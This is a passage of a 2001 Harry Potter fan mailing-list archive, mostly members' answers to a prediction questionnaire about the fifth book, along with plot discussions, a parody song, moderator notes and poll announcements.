 Marauder's Map, portkeys, floo powder
 
 > 12.  Will there be Quiddich at Hogwarts?  If so, who will be the 
 > Gryffindor Keeper?  Gryffindor Captain?
 
 Yes.  Keeper will be Ron, anything but seems like forced conflict and 
another several chapters of Ron is jealous of Harry, a very over used device 
by this point.

 > 13.  Will anyone else turn out to be an animagus?  Who?
 
 Nope.
 
 > 14.  Who is Mundungus Fletcher?
 
He's a contemporary of James, Arabella et al.

 > 15.  Will Wormtail use his silver hand in an important way?
 
Not until book seven



From e_nickels at yahoo.co.uk  Thu Sep 20 16:40:52 2001
From: e_nickels at yahoo.co.uk (=?iso-8859-1?q?Elizabeth=20Nickels?=)
Date: Thu, 20 Sep 2001 17:40:52 +0100 (BST)
Subject: [HPforGrownups] Re: OoF Prediction Derby (LONG)
In-Reply-To: <9od2uc+2gmj@eGroups.com>
Message-ID: <20010920164052.25068.qmail@web9102.mail.yahoo.com>

No: HPFGUIDX 26325

 Hi all 

First post!

1. What new magical place will we visit?


It would be great to visit Durmstrang  gothic
descriptions ahoy

 

> 2. Are any of the Dursleys wizards? Who?

 No way

3. Identify the next DADA teacher.

 Mundungus Fletcher or Mrs Figg  nice to have a woman
at last

> 4. Which "beloved" character(s) will die? Any other
deaths, and 
if 
> so, who? 

Doesnt bode well for Sirius I dont think. I imagine
he will die trying to save Harry.

5. Of Lupin, Sirius, Krum, Fleur, Lockhart, Winky,
Dobby, Moody, 
> Bagman, Madam Maxime, which characters will have
speaking lines in 
> OoF?

All of them! (I hope)
 

> 6. At the end of OoF, will Dumbledore be the
headmaster?

 
Yes  if Hogwarts is still running as a school

7. At the end of OoF, will Fudge be the Minister of
Magic?

 
Yes but it will be a Vichy ministry, so hell have no
real power.


8. At the end of OoF, will Neville be the same
forgetful boy, or 
> will he have changed in some way?

Hell eventually tell everyone about what happened to
his parents and will be respected/feared


9. At the end of OoF, will Sirius have cleared his
name?

No, because that would mean Harry would be able to
leave the Dursleys, which I dont think will happen
yet


> 10. Will Harry and Voldemort have a confrontation?

Actually probably not  at least not directly, like in
CoS


11. Of the following magical things, which will a
character use or 
> confront: pensieve, veritaserum, boggart, Marauder's
Map, whomping 
> willow, polyjuice potion, nifflers, portkeys,
rememberall, floo 
> powder, time turner, sneakoscope, foe glass, secrecy
sensor, knight 
> bus.

Not many. I think Joanne will reveal loads more
magical objects for effective baddie-bashing


 12. Will there be Quiddich at Hogwarts? If
so, who will be the 
> Gryffindor Keeper? Gryffindor Captain?

Angelina as captain, Ron as keeper

> 13. Will anyone else turn out to be an animagus?
Who?

No one as all these unregistered ones have become a
bit repetitive, and Hermione knows all about the
registered ones (I imagine) 

> 14. Who is Mundungus Fletcher?

A GREAT force for good.


 
> 15. Will Wormtail use his silver hand in an
important way?


I think itll backfire on him and strangle him when he
least expects it (it was made by Voldemort, after all)

 > 
> Laura (who can't believe she has to wait another 10
months for OoF)



Me neither!


Liz

____________________________________________________________
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Get your free @yahoo.co.uk address at http://mail.yahoo.co.uk
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From absinthe at mad.scientist.com  Thu Sep 20 16:37:29 2001
From: absinthe at mad.scientist.com (Milz)
Date: Thu, 20 Sep 2001 16:37:29 -0000
Subject: How did Snape Get away with it?
In-Reply-To: <20010920.084129.-225157.29.mindyatime@juno.com>
Message-ID: <9od609+mq6a@eGroups.com>

No: HPFGUIDX 26326

--- In HPforGrownups at y..., "Mindy C.L." <mindyatime at j...> wrote:
> I honestly do not understand how Snape got away with the unfair way 
he
> treated his students, year after year. He is unbelievably mean and 
biased
> and no teacher in this world is permitted to make nasty comments to 
h is
> students the way he did. I was especially taken aback when he warned
> Professor Lupin about having Neville Longbottom in his class (what 
was he
> doing in the staffroom during classtime anyway?) I don't get why 
not one
> of the students or teachers ever complained to Proff. Dumbledore or
> McGonagall about the way he treats Gryffindors. A blatant show of
> favoritism in any school is in my opinion worthy of reproach or even
> dismissal. Hogwarts is not an unfair school and Snape is being 
allowed
> year after y ear to continue his loathing and mistreatment of Harry 
and
> Company. Don't the Heads notice this? After four years, they still 
have
> not called for a conference to gently chide Snape to at least hide 
his
> emotions? The way Snape acts is so totally unprofessional and
> unteacher-like that it is almost ludicrous for this to happen in a
> regular school where the Heads take charge of a school.

I had a horrible professor similar to Snape in college. She taught 
chemistry. Anyhow, we would complain to the administration and the 
answer would always be the same: "We know about the difficulties 
students have with her classes, but Dr. SoandSo has tenure."


Dumbledore's permissiveness is what makes me think Snape is there for 
protection rather than out of the love of teaching.

Milz
Frankly, I would love to see Neville's formidable Gran have it out 
with Snape. I bet she'd give him a good what for.




From cynthiaanncoe at home.com  Thu Sep 20 16:50:39 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Thu, 20 Sep 2001 16:50:39 -0000
Subject: Crouch Sr. as a Bone
Message-ID: <9od6ov+he2t@eGroups.com>

No: HPFGUIDX 26327

In GoF, Crouch/Moody kills Crouch Sr., carries the body into the 
forest, covers it with his invisibility cloak, talks to Dumbledore, 
then goes back to the body in the forest, transfigured it into a 
bone, and then wore the invisibility cloak to bury the bone in the 
freshly dug earth near Hagrid's hut that Hagrid intends to use to 
demonstrate nifflers.

Whew!  I wonder if there is any reason why JKR makes this tiny part 
of the plot so involved.  Moody could have just transfigured Crouch 
Sr. into a rock or tree and walked away.  He also could have just 
slipped the bone into his pocket and hid it in the trunk with the 
real Moody.  That would have allowed her to skip the entire niffler 
scene.  Ron could have realized that his leprechaun gold vanished in 
some other way, like the discussion with F and G on the train when 
they discuss Bagman.

Does this mean nifflers will be important in future books?




From ra_1013 at yahoo.com  Thu Sep 20 16:54:05 2001
From: ra_1013 at yahoo.com (Andrea)
Date: Thu, 20 Sep 2001 09:54:05 -0700 (PDT)
Subject: OoF Prediction Derby (LONG)
In-Reply-To: <9od5an+jjft@eGroups.com>
Message-ID: <20010920165405.18590.qmail@web10905.mail.yahoo.com>

No: HPFGUIDX 26328

Laura wrote:> 
> 1.  What new magical place will we visit?

St. Mungo's, where we'll see the Longbottoms and
Lockhart.

> 2.  Are any of the Dursleys wizards?  Who?

Yes.  Susan Dursley, Vernon's third cousin twice
removed from Liverpool, but they don't talk about her
much. :)

> 3.  Identify the next DADA teacher.

Arabella Figg. [pictures Harry's expression when he
finds out and cackles]

> 4.  Which "beloved" character(s) will die?  Any
other deaths, and if so, who?  

There will certainly be at *least* one who will die,
if not more.  They're entering a war, remember?  I
think it'll be Hagrid, loathe as I am to say it.

> > 5.  Of Lupin, Sirius, Krum, Fleur, Lockhart,Winky,
Dobby, Moody, Bagman, Madam Maxime, which characters
will have speaking lines in OoF?

Lupin, Sirius, Lockhart, and Madam Maxine.

> 6.  At the end of OoF, will Dumbledore be the
headmaster?

Yes, but he'll be at odds with the MoM and Fudge re:
Voldie's return.

> 7.  At the end of OoF, will Fudge be the Minister of
Magic?

Yes, but it'll end with the election coming up and
Lucius Malfoy as the main contender.

> 8.  At the end of OoF, will Neville be the same
forgetful boy, or will he have changed in some way?

Neville will always be Neville.  He won't simply
become Mr. All-Around Hogwarts, because that's not who
he is.  But I *do* think he'll get over his block,
dealing with what happened to his parents, and will
become a much better student and more confident.

> 9.  At the end of OoF, will Sirius have cleared his
name?

He'll come very close, but not yet.

> 10.  Will Harry and Voldemort have a confrontation?

Yes.  There will be a very tense moment in Quality
Quidditch Supplies as they both reach for the same
broom polish, but the moment will be averted by Ludo
Bagman presenting them both with complimentary jars.
 
> 11.  Of the following magical things, which will a
character use or confront:  pensieve, veritaserum,
boggart, Marauder's Map, whomping willow, polyjuice
potion, nifflers, portkeys, rememberall, floo powder,
time turner, sneakoscope, foe glass, secrecy sensor,
knight bus.

The Marauder's Map is going to take a break this book,
I think, since I don't recall Harry ever getting it
back at the end of GOF.  The Pensieve, Floo Powder,
and Foe Glass as plot points, the rest as possible
mentions but not important (ie, Harry gets a
Rememberall for Christmas)

> 12.  Will there be Quiddich at Hogwarts?  If so, who
will be the Gryffindor Keeper?  Gryffindor Captain?

Heck yes!  Captain will be Angelina, Ron will turn up
as Keeper and unofficial Chief Strategian.

> 13.  Will anyone else turn out to be an animagus? 
Who?

No.
 
> 14.  Who is Mundungus Fletcher?

I think he works at St. Mungo's.  Maybe as Lockhart's
therapist?

> 15.  Will Wormtail use his silver hand in an 
important way?

Not yet, but you know, silver is the way to [gasp]
kill a werewolf...


Andrea
Proud to be Gryffindor 

=====
"Reality is for people who lack imagination."

__________________________________________________
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From pennylin at swbell.net  Thu Sep 20 16:55:37 2001
From: pennylin at swbell.net (Penny & Bryce)
Date: Thu, 20 Sep 2001 11:55:37 -0500
Subject: ADMIN: Prediction Derby -- Take Responses to OT-Chatter or Offlist
References: <9od07u+m95e@eGroups.com>
Message-ID: <3BAA1F89.1000109@swbell.net>

No: HPFGUIDX 26329

Hi --

While I think Laura's prediction derby for OoP (not OoF by the way) 
sounds fun, it also sounds like something that will exponentially add to 
message volume.

May I suggest that people send responses to this Prediction Derby 
off-list to Laura, who can collate them and then perhaps post one final 
document to the Files area for everyone to take a look at?  Or, if Laura 
is interested, perhaps she could coordinate a contest of sorts with 
Joywitch, Maestro of HP4GU Contests (although the results wouldn't be 
known until after OoP comes out)?

We generally try to avoid people running "contests" on the main list for 
a variety of reasons, namely message volume concerns. Joy, our official 
contest planner, also has a number of contest ideas in development at 
any one time, and so we encourage people with contest ideas to 
coordinate with her (joym999 at aol.com).

P.S.  I can't believe you didn't include a prediction on the romance 
pairings at the end of OoP as one of the points.  <eg>

Thanks --

Penny





From keegan at mcn.org  Thu Sep 20 17:00:21 2001
From: keegan at mcn.org (Catherine Keegan)
Date: Thu, 20 Sep 2001 10:00:21 -0700
Subject: [HPforGrownups] OoP Prediction Derby (LONG)
In-Reply-To: <9od07u+m95e@eGroups.com>
Message-ID: <4.2.0.58.20010920094717.00a3b7a0@mail.mcn.org>

No: HPFGUIDX 26330

At 02:59 PM 9/20/01 +0000, you wrote:
>1.  What new magical place will we visit?

Azkabahn

>2.  Are any of the Dursleys wizards?  Who?

If they were, their names would be in the book that McGonagall looks at 
each year so I'm going to say no.

>3.  Identify the next DADA teacher.

Arabella Fig.  I think Fleur might show up as a teaching assistant or 
something similar.  Maybe she will teach French?  (BTW, what about regular 
studies - reading, writing, math...  Is it just assumed that the students 
know enough by the time they're 11?  Not fair that they got to miss the fun 
of Trig...)

>4.  Which "beloved" character(s) will die?  Any other deaths, and if
>so, who?

After reading the other posts, I'm afraid that Hagrid might be the best 
bet.  I think Dumbledore is a good possibility, too.

>5.  Of Lupin, Sirius, Krum, Fleur, Lockhart, Winky, Dobby, Moody,
>Bagman, Madam Maxime, which characters will have speaking lines in
>OoF?

Sirius, Lupin, Fleur (since she said she was going to try and come back), 
Dobby and Madam Maxine.

>6.  At the end of OoF, will Dumbledore be the headmaster?

Yes.  My thoughts are that Dumbledore, if he does end up being killed off, 
will probably go in book 6.

>7.  At the end of OoF, will Fudge be the Minister of Magic?

Yes.  I like the other post where Lucius Malfoy might compete for the 
position.  I would love to see an organizational chart of the Ministry.

>8.  At the end of OoF, will Neville be the same forgetful boy, or
>will he have changed in some way?

All of the characters are changing.  I think he'll still be forgetful but 
he will change.

>9.  At the end of OoF, will Sirius have cleared his name?

No.  Probably in the last book.

>10.  Will Harry and Voldemort have a confrontation?

Why change a winning plot device?  I almost hope she doesn't and lets the 
next book be about the upcoming war.  The 5th book could easily be taken up 
with just setting the conflict up.

>11.  Of the following magical things, which will a character use or
>confront:  pensieve, veritaserum, boggart, Marauder's Map, whomping
>willow, polyjuice potion, nifflers, portkeys, rememberall, floo
>powder, time turner, sneakoscope, foe glass, secrecy sensor, knight
>bus.

Veritaserum, Marauder's Map, portkeys, sneakoscope
I hope she doesn't overuse the time turner and whomping willow.

>12.  Will there be Quiddich at Hogwarts?  If so, who will be the
>Gryffindor Keeper?  Gryffindor Captain?

Yup.  I'd love to see Ron be Keeper.  Alicia for captain!

>13.  Will anyone else turn out to be an animagus?  Who?

Do 'maybe's count?  Hmm.  Well, I'll put a vote out for Neville.

>14.  Who is Mundungus Fletcher?

"one of the old crowd".  I never got a good feeling for how old he 
is.  Maybe older than Sirius and Lupin.

>15.  Will Wormtail use his silver hand in an important way?
Of course!  But maybe not in this book.  I think Wormtail's story will 
continue the book after.

>Laura (who can't believe she has to wait another 10 months for OoF)

Thanks for the list of questions.  I just hope that we do get the Order of 
the Phoenix this summer.  But, for a good story, I'd be willing to wait 
longer.  (Not like we get a choice).

Catherine in California
Albion Works
Furniture, Clothing, and Accesories
For the Medievalist!
www.albionworks.net



From justanopinion2001 at hotmail.com  Thu Sep 20 17:06:52 2001
From: justanopinion2001 at hotmail.com (justanopinion2001 at hotmail.com)
Date: Thu, 20 Sep 2001 17:06:52 -0000
Subject: ADMIN: Prediction Derby -- Take Responses to OT-Chatter or Offlist
In-Reply-To: <3BAA1F89.1000109@swbell.net>
Message-ID: <9od7nc+rkm1@eGroups.com>

No: HPFGUIDX 26331

--- In HPforGrownups at y..., Penny & Bryce <pennylin at s...> wrote:
>We generally try to avoid people running "contests" on the main list 
for 
> a variety of reasons, namely message volume concerns. Joy, our 
official 
> contest planner, also has a number of contest ideas in development 
at 
> any one time, and so we encourage people with contest ideas to 
> coordinate with her (joym999 at a...).
> 
>

Oh, geez, I am so sorry.  I have seen lots of predictions on the 
board, so I didn't realize this wasn't appropriate for the main 
list.  I'm so embarrassed.  

And I certainly didn't intend to compete with the great contests that 
Joy puts together.  Hence, the name "Derby."  I just figured it would 
be better to have people post their theories to the board because it 
would be more entertaining that way.

OK.  I'll scurry over to the OT chatter room straight away, and I'll 
try not to trip over the tail between my legs.

Apologies.

Laura




From vheggie at yahoo.com  Thu Sep 20 17:44:13 2001
From: vheggie at yahoo.com (vheggie at yahoo.com)
Date: Thu, 20 Sep 2001 17:44:13 -0000
Subject: OoF Prediction Derby (LONG)
In-Reply-To: <9od07u+m95e@eGroups.com>
Message-ID: <9od9td+uf1o@eGroups.com>

No: HPFGUIDX 26332

> 
> 1.  What new magical place will we visit?

Azkaban

> 2.  Are any of the Dursleys wizards?  Who?

No

> 3.  Identify the next DADA teacher.

It'll be a woman, but I'm going to buck the trend and suggest 
it's *not* Mrs Figg - I think she's going to have more important 
things on her mind than teaching curses to third years...

> 4.  Which "beloved" character(s) will die?  Any other deaths, and 
if  so, who?  

As long as it's not Snape, I don't care.  I think Dumbledore will go 
eventually - perhaps he will disappear and reappear, like Gandalf?
If anyone dies in book five I think it will be Dumbledore, but I 
don't think he'll *really* be dead.

> 5.  Of Lupin, Sirius, Krum, Fleur, Lockhart, Winky, Dobby, Moody, 
> Bagman, Madam Maxime, which characters will have speaking lines in 
> OoF?

All bar Lockhart.

> 6.  At the end of OoF, will Dumbledore be the headmaster?

no

> 7.  At the end of OoF, will Fudge be the Minister of Magic?

yes

> 8.  At the end of OoF, will Neville be the same forgetful boy, or 
> will he have changed in some way?

I hope a lot of the characters will get to grow, but I'm not 
expecting any immediate transformations - I expect to see mroe of him 
standing up for himself though (like he did to Harry, Hermione & 
Neville in PS/SS)

> 9.  At the end of OoF, will Sirius have cleared his name?

Not 'officially', but to those working with Dumbledore.

> 10.  Will Harry and Voldemort have a confrontation?

Hmmmm, three more books, surely JKR can't do three more big 
confrontations?  Not a showdown like GoF, but, obviously, some sort 
of confrontation.

> 11.  Of the following magical things, which will a character use or 
> confront:  pensieve, veritaserum, boggart, Marauder's Map, whomping 
> willow, polyjuice potion, nifflers, portkeys, rememberall, floo 
> powder, time turner, sneakoscope, foe glass, secrecy sensor, knight 
> bus.

verita serum, willow, portkeys, floo powder.

> 12.  Will there be Quiddich at Hogwarts?  If so, who will be the 
> Gryffindor Keeper?  Gryffindor Captain?

yes; Harry as captain, an unknown as keeper.

> 13.  Will anyone else turn out to be an animagus?  Who?

Not in this book (I hope)

> 14.  Who is Mundungus Fletcher?

I'm going to do a bit of my own crazy name-guessing; a Fletcher makes 
arrows, so I think Mundungus will make the tools for the battle 
against Voldemort. Perhaps he makes the foe-glasses, or special 
poitions?

> 15.  Will Wormtail use his silver hand in an important way?

Not special, but it will be stronger than a normal hand.





From rose590 at yahoo.com  Thu Sep 20 17:56:10 2001
From: rose590 at yahoo.com (rose590 at yahoo.com)
Date: Thu, 20 Sep 2001 17:56:10 -0000
Subject: The Potters Fame
In-Reply-To: <9oc1g5+scvh@eGroups.com>
Message-ID: <9odajq+iree@eGroups.com>

No: HPFGUIDX 26333

--- In HPforGrownups at y..., "Catlady (Rita Prince Winston)" 
<catlady at w...> wrote:
> --- In HPforGrownups at y..., "Bean Shadow" <neptune_1984 at y...> wrote:
> > I apologize if this has been discussed before.
> 
> I don't think it ever was discussed before.
> > Were the Potters famous before the demise of Voldemort? Or are 
they famous simply because they were killed by Voldemort, except for 
> > Harry?
 

Whew.....I'm really glad someone else asked this question because I 
was wondering the exact same thing and it was bothering me so much 
that I figured that it Had to have been discussed before.

Since Voldemort went through so much trouble to find the Potters and 
the Potters went through so much trouble to hide from Voldemort, 
there had to have been a reason.  I think that there is some secret 
or special power or knowledge that the Potters possess that Voldemort 
wanted.

Somewhere at the end of PS/SS, Dumbledore tells Harry that there are 
things about him that he would not be able to know or understand 
until he was older.  Does this have something to do with the vendetta 
that Voldemort has against the Potters?  (Again, please excuse the 
lack of ability to quote but I listened to all four books on audio)

We know that Voldemort was at Hogwarts 50 years ago which would make 
him somewhere in his 60's, a lot older than James and Lily.  For him 
to have wanted the Potters so badly, it had to have been big.

Rose (who still thinks she thinks way too much and gets really 
confused)




From mellienel2 at yahoo.com  Thu Sep 20 17:57:49 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Thu, 20 Sep 2001 17:57:49 -0000
Subject: OoF Prediction Derby (LONG)
In-Reply-To: <9od07u+m95e@eGroups.com>
Message-ID: <9odamt+sdm6@eGroups.com>

No: HPFGUIDX 26334



> 1.  What new magical place will we visit?

the magical chamber pot room that dumbledore was interested in :-)

> 2.  Are any of the Dursleys wizards?  Who?

Not wizards, but I think Dudley will manage magic in a desperate 
moment. Perhaps not in OoP though -- when the magic at 4Privet is 
finaly broken through and Voldy storms it.

> 3.  Identify the next DADA teacher.

JKR said we would have a female but not that it would be in OoP...so 
I'm hoping for the real Moody.

> 4.  Which "beloved" character(s) will die?  Any other deaths, and 
if 
> so, who?  

Dumbledore. Lupin. Possibly Hagrid. One or both of the Creeveys.

> 5.  Of Lupin, Sirius, Krum, Fleur, Lockhart, Winky, Dobby, Moody, 
> Bagman, Madam Maxime, which characters will have speaking lines in 
> OoF?

Lupin, Sirius, Fleur, Dobby, Moody.

> 6.  At the end of OoF, will Dumbledore be the headmaster?

No. Alive, maybe.

> 7.  At the end of OoF, will Fudge be the Minister of Magic?

Yes. He's useful to V even if he doesn't know it.

> 8.  At the end of OoF, will Neville be the same forgetful boy, or 
> will he have changed in some way?

Changed, but still Neville. Found his strengths; but still Neville.

> 9.  At the end of OoF, will Sirius have cleared his name?

No. Not until 7.

> 10.  Will Harry and Voldemort have a confrontation?

No, he can't beat him every time, can he? I think Voldy will be 
behind the scenes for most of this book. The Big Conflict will have 
something to do with Voldy of course...but perhaps not an out and out 
duel.


> 11.  Of the following magical things, which will a character use or 
> confront:  pensieve, veritaserum, boggart, Marauder's Map, whomping 
> willow, polyjuice potion, nifflers, portkeys, rememberall, floo 
> powder, time turner, sneakoscope, foe glass, secrecy sensor, knight 
> bus.

pensieve (someone else's?), veritaserum, Marauder's Map (but not used 
by Harry), portkeys, foeglass, secrecy sensor.
-time turner in 7.
-boggart was overused in the last 2 books. No longer a threat to 
harry.

> 12.  Will there be Quiddich at Hogwarts?  If so, who will be the 
> Gryffindor Keeper?  Gryffindor Captain?

yes, Hogwarts needs cheer. Keeper -- ron, captain, Angelina or Katie. 
I think by book 6 Ron will be made captain for his supreme strategic 
mind.

> 13.  Will anyone else turn out to be an animagus?  Who?

not the Trio. It woudl be surprising if dumbledore *wasn't*, being 
the old Transfiguration teacher and all.

> 14.  Who is Mundungus Fletcher?

Arabella Figg's lovechild. <g>

> 15.  Will Wormtail use his silver hand in an important way?
>

To kill Lupin. but in bk 7. directly killing, by accident, his former 
best friend, will shake him up and he'll repay his debt to harry with 
is own life.

> Laura (who can't believe she has to wait another 10 months for OoF)

darn straight.

m.




From rose590 at yahoo.com  Thu Sep 20 17:59:53 2001
From: rose590 at yahoo.com (rose590 at yahoo.com)
Date: Thu, 20 Sep 2001 17:59:53 -0000
Subject: Voldemort and Crouch Jr.
Message-ID: <9odaqp+phhe@eGroups.com>

No: HPFGUIDX 26335

At the beginning of GoF, Voldemort mentions that his loyal servant 
would soon be returning to him.  I thought I remembered at the end of 
GoF, Crouch Jr. saying that Voldemort realized that Crouch was still 
alive after the Quidditch World Cup.

I'm confused.  The timing seems off there.

Thanks
Rose (who lives in a state of constant confusion............)




From mellienel2 at yahoo.com  Thu Sep 20 18:01:03 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Thu, 20 Sep 2001 18:01:03 -0000
Subject: The Potters Fame
In-Reply-To: <9odajq+iree@eGroups.com>
Message-ID: <9odasv+f42r@eGroups.com>

No: HPFGUIDX 26336


> 
> Since Voldemort went through so much trouble to find the Potters 
and 
> the Potters went through so much trouble to hide from Voldemort, 
> there had to have been a reason.  I think that there is some secret 
> or special power or knowledge that the Potters possess that 
Voldemort 
> wanted.

Yeah, he wanted *the last of the potters*. This, with the fact that 
he wasn't keen on killing Lily (a muggle born, no less), suggests it 
has at least partly to do with Harry's line of ancestry. All the 
males, all the genuine potters...all the genuine Gryffindors? Pet 
theory.

Also, the potters knew V was after them specifically. And Lucius 
called them 'meddlesome fools.' Is this implying they had tools that 
were dangerous to Voldy?






From prefectmarcus at yahoo.com  Thu Sep 20 18:09:53 2001
From: prefectmarcus at yahoo.com (prefectmarcus at yahoo.com)
Date: Thu, 20 Sep 2001 18:09:53 -0000
Subject: How did Snape Get away with it?
In-Reply-To: <20010920.084129.-225157.29.mindyatime@juno.com>
Message-ID: <9odbdh+9395@eGroups.com>

No: HPFGUIDX 26337

--- In HPforGrownups at y..., "Mindy C.L." <mindyatime at j...> wrote:
> I honestly do not understand how Snape got away with the unfair way 
he treated his students, year after year. --snip -- The way Snape 
acts is so totally unprofessional and unteacher-like that it is 
almost ludicrous for this to happen in a regular school where the 
Heads take charge of a school.

For two simple reasons.  One, he really, really knows his stuff.  
Two, the students really learn in his class.  Say what you will about 
his methods, he gets the job done.

JKR said somewhere that the reason Dumbledore allows him to teach is 
because Dumbledore believes in giving the students experience in 
life, and bullies in authority over you unfortunately is part of life.

Marcus





From coriolan at worldnet.att.net  Thu Sep 20 18:16:49 2001
From: coriolan at worldnet.att.net (Caius Marcius)
Date: Thu, 20 Sep 2001 18:16:49 -0000
Subject: The Little Lord Voldy (filk)
Message-ID: <9odbqh+tl2u@eGroups.com>

No: HPFGUIDX 26338

The Little Lord Voldy

(to the tune of Away in a Manger)

Dedicated to Pippin

At the old Riddle House, his familial turf, 
Now roughly the size and the shape of a Smurf,
He huddles for warmth by the crackling flame - 
The Little Lord Voldy, so shrunken and lame.

The Little Lord dictates by the fireplace
Wormtail's grossed-out by the sight of his face
He looks as though he just crawled out `neath a rock
But Little Lord Voldy will not call the doc.

Nagini is curled up snug at his side
Muggles who drop by do not go back outside
With visions of flesh, blood and bone in his head
The Little Lord Voldy retires to bed.





From nlpnt at yahoo.com  Thu Sep 20 18:48:59 2001
From: nlpnt at yahoo.com (nlpnt at yahoo.com)
Date: Thu, 20 Sep 2001 18:48:59 -0000
Subject: OoF Prediction Derby (LONG)
In-Reply-To: <9od07u+m95e@eGroups.com>
Message-ID: <9oddmr+atgm@eGroups.com>

No: HPFGUIDX 26339

--- In HPforGrownups at y..., justanopinion2001 at h... wrote:

> 
> 1.  What new magical place will we visit?
     -Ministry of Magic offices. It'd be interesting to see the 
magical equivalent of a "war room" in there.

> 2.  Are any of the Dursleys wizards? 
     -I don't think so.  
      
> 3.  Identify the next DADA teacher.
     -The real Moody will still nominally have the job, but will 
often be busy elsewhere.

> 4.  Which "beloved" character(s) will die?  Any other deaths, and 
if so, who?  
      -Not Ron. That'd be too obvious, and if there's any 
generalization that can be made about JKR's writing style, it's that 
she never does the obvious.

> 5.  Of *Lupin, *Sirius, #Krum, Fleur, #Lockhart, Winky, #Dobby, 
#Moody, #Bagman, *Madam Maxime, which characters will have speaking 
>lines in OoF?  *= definitely will. #=probably will.

> 6.  At the end of OoF, will Dumbledore be the headmaster?
 - A definite maybe. I'll day he'll either still be head, or he'll be 
Minister

> 7.  At the end of OoF, will Fudge be the Minister of Magic?
 - No. Who JKR will replace him with is a good one. Dumble would make 
an obvious Churchill to Fudge's Chamberlin, but Crouch Sr. and Pop 
Weasley are possibilities; Lockhart would make an interesting touch.

> 8.  At the end of OoF, will Neville be the same forgetful boy, or 
> will he have changed in some way? 
 - He'll start coming into his own. He's due for some development.

> 9.  At the end of OoF, will Sirius have cleared his name?
 - I'll go out on a limb and say it'll become obvious to everyone but 
Fudge, and bring about Fudge's downfall.
 
> 10.  Will Harry and Voldemort have a confrontation? 
   -Probably not in OoF; I think we've seen the last H/V face-to-
"face" until book 7.

> 11.  Of the following magical things, which will a character use or 
> confront:  #pensieve, *veritaserum, boggart, #Marauder's Map, 
whomping 
> willow, #polyjuice potion, nifflers, *portkeys, #rememberall, #floo 
> powder, time turner, *sneakoscope, *foe glass, #secrecy sensor, 
knight bus. *=definitely,  #=probably.

> 12.  Will there be Quiddich at Hogwarts? 
  -Yes. It may be added into the MS for versimilitude "...go on with 
normal life in this time of tragedy..." 
   If so, who will be the Gryffindor Keeper?
  -Someone we've never heard of, prob. a second-year.  
  Gryffindor Captain?
  -Harry.

> 13.  Will anyone else turn out to be an animagus?  Who?
  -Hermione, but maybe not in OoF.
    
> 14.  Who is Mundungus Fletcher?
  -Former Minister of Magic?
 
> 15.  Will Wormtail use his silver hand in an important way?
  -Probably.

General prediction; I may be overstating things as an American, but I 
think reality may creep in in this book. Maybe nothing obvious, but 
enough that Lit-Crit people in the future will take note that books 1-
4 were written during normal times for the Western world in general, 
book 5 was not.




From nlpnt at yahoo.com  Thu Sep 20 19:01:16 2001
From: nlpnt at yahoo.com (nlpnt at yahoo.com)
Date: Thu, 20 Sep 2001 19:01:16 -0000
Subject: ADMIN: Prediction Derby -- OOPS-
In-Reply-To: <9od7nc+rkm1@eGroups.com>
Message-ID: <9odeds+hpjq@eGroups.com>

No: HPFGUIDX 26340


And here I was, trying to respond immediately without reading the 
other ones first. 
Right, now where'd I put that Remembrall?




From mellienel2 at yahoo.com  Thu Sep 20 19:06:41 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Thu, 20 Sep 2001 19:06:41 -0000
Subject: ADMIN: Prediction Derby -- OOPS-
In-Reply-To: <9odeds+hpjq@eGroups.com>
Message-ID: <9odeo1+qq00@eGroups.com>

No: HPFGUIDX 26341

same here -- sorry bout that.

-- In HPforGrownups at y..., nlpnt at y... wrote:
> 
> And here I was, trying to respond immediately without reading the 
> other ones first. 
> Right, now where'd I put that Remembrall?




From neptune_1984 at yahoo.com  Thu Sep 20 19:23:55 2001
From: neptune_1984 at yahoo.com (Erin)
Date: Thu, 20 Sep 2001 12:23:55 -0700 (PDT)
Subject: Potter's Fame
In-Reply-To: <1001008801.2273.38163.l6@yahoogroups.com>
Message-ID: <20010920192355.21504.qmail@web14007.mail.yahoo.com>

No: HPFGUIDX 26342

I came up with a new theory today, which I am not sure if it has been discussed.
It's a bunch of "what if's" more than theories, but here goes:

I was reading the Mirror of Erised part, where Harry views his whole family. I am
wondering if Voldemort killed off the entire Potter family for some reason or
another. Maybe the Potters were so powerful, Voldemort had to kill them off for his
own sake. But it makes me wonder on why he didn't kill James right off, as he was
after Harry when he entered the cottage, right? 

This may seem far fetched as well, but what if Voldemort killed some of the Evans
as well? We know that he wasn't below killing Muggles. Maybe that's why we never
hear of Petunia and Lily's parents. Maybe that's why Vernon and Petunia tried to
stamp magic out of Harry, because they were also afraid of Voldemort's return and
they knew who he would be after. It would explain why The Dursleys hate magic so
much. I still have this feeling that Petunia is a Squib, and that's why she's so
bitter of Lily.
 

__________________________________________________
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From HPforGrownups at yahoogroups.com  Thu Sep 20 19:31:28 2001
From: HPforGrownups at yahoogroups.com (HPforGrownups at yahoogroups.com)
Date: 20 Sep 2001 19:31:28 -0000
Subject: New poll for HPforGrownups 
Message-ID: <1001014288.360.80409.cf@yahoogroups.com>

No: HPFGUIDX 26343


Enter your vote today!  A new poll has been created for the 
HPforGrownups group:

Where do you live (or what is your
native country, you can answer either way)? 

  o United States 
  o United Kingdom 
  o France 
  o Germany 
  o Spain 
  o Italy 
  o Scandinavia 
  o Eastern Europe 
  o Europe (Other) 
  o Middle East 
  o China 
  o Japan 
  o India 
  o Asia (Other) 
  o Australia or New Zealand 
  o Africa 
  o Other 


To vote, please visit the following web page:

http://groups.yahoo.com/group/HPforGrownups/polls 

Note: Please do not reply to this message. Poll votes are 
not collected via email. To vote, you must go to the Yahoo! Groups 
web site listed above.

Thanks!

 







From HPforGrownups at yahoogroups.com  Thu Sep 20 19:36:34 2001
From: HPforGrownups at yahoogroups.com (HPforGrownups at yahoogroups.com)
Date: 20 Sep 2001 19:36:34 -0000
Subject: New poll for HPforGrownups 
Message-ID: <1001014594.213.40676.ag@yahoogroups.com>

No: HPFGUIDX 26344


Enter your vote today!  A new poll has been created for the 
HPforGrownups group:

What best describes your religious beliefs? 

  o Christian 
  o Judaism 
  o Wicca/Paganism 
  o Buddhism 
  o Hindu 
  o Islamic  
  o Unitarian Universalism 
  o Agnostic 
  o Atheist 
  o Other 


To vote, please visit the following web page:

http://groups.yahoo.com/group/HPforGrownups/polls 

Note: Please do not reply to this message. Poll votes are 
